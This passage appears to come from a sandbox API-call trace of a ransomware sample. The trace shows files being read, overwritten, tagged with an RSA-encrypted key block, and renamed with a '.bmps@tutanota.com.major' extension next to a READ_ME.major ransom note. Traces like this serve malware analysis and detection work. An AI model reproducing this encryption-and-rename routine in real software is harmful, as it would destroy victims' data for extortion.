dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0142.032] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18776) returned 1 [0142.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x60d870 [0142.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x6121d0 [0142.033] ReadFile (in: hFile=0x4e4, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0142.109] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.109] WriteFile (in: hFile=0x4e4, lpBuffer=0x6121d0*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6121d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0142.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6121d0 | out: hHeap=0x570000) returned 1 [0142.109] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4958 [0142.109] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.109] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.109] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.110] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.110] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.110] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="ExncZSG6R77Nc7zHUxxgMNqNHq986QCw9ZPx5OhLu7xF9XSgc8sadKVKW0ZXDJzj\ntzTJJgUxRBsgZJEOfhJz9l0D9pKAYRj9/DX2bZzTpfiiE3nwMjpux27AoZ+zoysB\nRx6+E9WDjFBTErqHH0kCwbOXOflXPD6J9zqZSGjY/bi7q0ZsPr7+7BNoAwAwFhWQ\nnpPsWrTUqBQNcWCO2deT9QfX8htOK3issBCTT0mxF1HmPpqvXG8zgSZr8bLMifvk\nBGzpvy6/foznREsB/xcFsMQEWN8UkKKGq39LvtBjwgOHtIgJhR3HVg1fZ5lFNM2F\nNvL6BNOiVcNKguo/9Q+hhw==\n", pcchString=0x2e3f9a8) returned 1 [0142.110] WriteFile (in: hFile=0x4e4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.110] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.110] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.110] CloseHandle (hObject=0x4e4) returned 1 [0142.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.110] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0142.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0142.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0142.112] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.112] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.112] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0142.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0142.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0142.113] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0142.113] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=79996) returned 1 [0142.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1387c) returned 0x60d870 [0142.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1387c) returned 0x2f40048 [0142.114] ReadFile (in: hFile=0x4e4, lpBuffer=0x60d870, nNumberOfBytesToRead=0x1387c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x1387c, lpOverlapped=0x0) returned 1 [0142.146] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-79996, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.146] WriteFile (in: hFile=0x4e4, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x1387c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1387c, lpOverlapped=0x0) returned 1 [0142.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0142.147] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1387c [0142.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.147] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.147] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.147] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.148] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.148] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="EeJZHYN3ofWBqRlVZI8MPLe/8ycu57O1lPM4SE0gGqK2uRaWoRq4OGO89Rj609+X\nmk1SJJ+tSixRae1m/oq8t2xX5R3nK5ZyYTzw0TNAxtq+kgCh0iKuqrsGZ4hNnT2L\nmlqM51PtqG6tKzRc7uZBR0VcWd+ebtS/Z6cA0inn2n8S+24YtsSXaLNewF3xBzq7\ngc47iR8iimFxK+jQl7/O5qjhFVG3DUC01LLcy35naBnsLy3yv7PKQJElmEwV8V5e\naY6db56KaTjbtA6k5c1y/zSlcxf/bja03S9jlOeGnPwQ7m1OD3ffgf7FV9JXvcfF\nDyZAWn5LTBmDlfjrRK1uNQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.148] WriteFile (in: hFile=0x4e4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.148] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.148] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.148] CloseHandle (hObject=0x4e4) returned 1 [0142.148] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.148] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0142.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.150] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.150] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x80) returned 1 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.150] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0142.150] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3069) returned 1 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbfd) returned 0x60d870 [0142.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbfd) returned 0x60e478 [0142.150] ReadFile (in: hFile=0x4e4, lpBuffer=0x60d870, nNumberOfBytesToRead=0xbfd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0xbfd, lpOverlapped=0x0) returned 1 [0142.184] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-3069, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.184] WriteFile (in: hFile=0x4e4, lpBuffer=0x60e478*, nNumberOfBytesToWrite=0xbfd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e478*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbfd, lpOverlapped=0x0) returned 1 [0142.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.184] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e478 | out: hHeap=0x570000) returned 1 [0142.184] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbfd [0142.184] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.184] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.184] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.184] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.184] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="AMfl3TFLEcQp91kzD4HI5LT37q/4JfUFrpeiDZUyXPZGtlzdrYWSmGV10VR9ED0Z\nJV98d5K024/ycehjjC2HEbif+5Wf+83j/Tt0eGPvWCvh6ptdirRWw9ZzjJaYdRtB\n6RymWTOgAdz+XVY7I/0QRvvId9ohRJf8UGSaJKaCaD7xyMc/JZXC8b8Gai6B73s/\nV0TjyneTXlbNZ1OoOzU6m+b4H1z5DdCSXtwmeUYMGRw8HCqroKkI910GscKazWSs\n2KIhjP/tk4lu9hqmjlEn268jTfuA+vM7iEg52st0HZ6Ia7i+8P/2497q098qYC3P\nea5fZK0JIhFcn0KvyNulUA==\n", pcchString=0x2e3f9a8) returned 1 [0142.185] WriteFile (in: hFile=0x4e4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.185] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.185] WriteFile (in: hFile=0x4e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.185] CloseHandle (hObject=0x4e4) returned 1 [0142.185] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.185] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\3082\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca30 | out: hHeap=0x570000) returned 1 [0142.186] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5830 [0142.186] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0142.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.186] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5630 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5630 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0142.187] FindNextFileW (in: hFindFile=0x5b5830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56b0 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56b0 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0142.187] FindNextFileW (in: hFindFile=0x5b5830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0142.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0142.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0142.187] GetLastError () returned 0x0 [0142.187] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0142.188] FindNextFileW (in: hFindFile=0x5b5830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9c0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xaf9c0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.188] FindNextFileW (in: hFindFile=0x5b5830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] GetLastError () returned 0x0 [0142.188] SetLastError (dwErrCode=0x0) [0142.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0142.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.189] GetLastError () returned 0x0 [0142.189] SetLastError (dwErrCode=0x0) [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0142.189] FindNextFileW (in: hFindFile=0x5b5830, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, 